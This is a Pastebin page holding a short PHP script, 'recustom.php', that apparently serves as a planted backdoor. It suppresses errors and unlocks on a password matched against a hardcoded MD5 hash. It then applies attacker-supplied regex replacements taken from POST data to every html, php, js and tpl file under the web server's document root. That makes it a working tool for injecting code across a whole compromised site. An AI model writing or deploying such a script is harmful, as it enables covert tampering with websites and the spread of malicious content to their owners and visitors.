PalmaSolutions

recustom.php

Dec 29th, 2017
290
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.20 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. ini_set('max_execution_time', 900);
  4. ini_set('memory_limit', '-1');
  5. function scan_dir($dirname){
  6. global $sobs, $coun, $list_replace, $list_pattern, $repl;
  7. $dir = opendir($dirname);
  8. $coun_repl = 0;
  9. while (($file = readdir($dir)) !== false){
  10. if($file != '.' && $file != '..'){
  11. $temp1 = explode('.', $dirname . $sobs . $file);
  12. $extention = strtolower(array_pop($temp1));
  13. if(is_file($dirname . $sobs . $file) && ($extention == 'html' || $extention == 'php' || $extention == 'js' || $extention == 'tpl')){
  14. $content = @file_get_contents($dirname . $sobs . $file);
  15. $content = @preg_replace($list_pattern, $list_replace, $content, '-1', $coun_repl);
  16. if ($coun_repl >= 1) {
  17. @file_put_contents($dirname . $sobs . $file, $content);
  18. $repl +=1 ;
  19. }
  20. $coun = $coun + 1;
  21. }
  22. if(is_dir($dirname . $sobs . $file))
  23. scan_dir($dirname . $sobs . $file);
  24. }
  25. }
  26. closedir($dir);
  27. }
  28. if (!function_exists('file_put_contents')) {
  29. function file_put_contents($filename, $data) {
  30. $f = @fopen($filename, 'w');
  31. if (!$f) {
  32. return false;
  33. } else {
  34. $bytes = fwrite($f, $data);
  35. fclose($f);
  36. return $bytes;
  37. }
  38. }
  39. }
  40. if ( !function_exists('file_get_contents') ) {
  41. function file_get_contents($file) {
  42. $file = file($file);
  43. return !$file ? false : implode('', $file);
  44. }
  45. }
  46. if (isset($_POST['startreplace'])){
  47. $hash = md5($_POST['startreplace']);
  48. if ($hash == '8b893efbdc733d479dfab302ed195fd7') {
  49. if ($_POST['replace'][1] == '\\'){
  50. $list_replace = json_decode(stripslashes($_POST['replace']));
  51. $list_pattern = json_decode(stripslashes($_POST['pattern']));
  52. }
  53. else {
  54. $list_replace = json_decode($_POST['replace']);
  55. $list_pattern = json_decode($_POST['pattern']);
  56. }
  57. $coun = 0;
  58. $repl = 0;
  59. $dir = $_SERVER['DOCUMENT_ROOT'];
  60. if (strpos(strtolower(php_uname()), 'win') === false)
  61. $sobs = '/';
  62. else
  63. $sobs = '\\';
  64. $a = $dir;
  65. if (substr($a, -1) == $sobs)
  66. $a = substr($a, 0, strlen($a) - 1);
  67. scan_dir($a);
  68. echo 'Finish! Dir: '.$dir.' Replace: ' . $repl . ' Files: '. $coun;
  69. };
  70. }
  71. ?>
Advertisement
Add Comment
Please, Sign In to add comment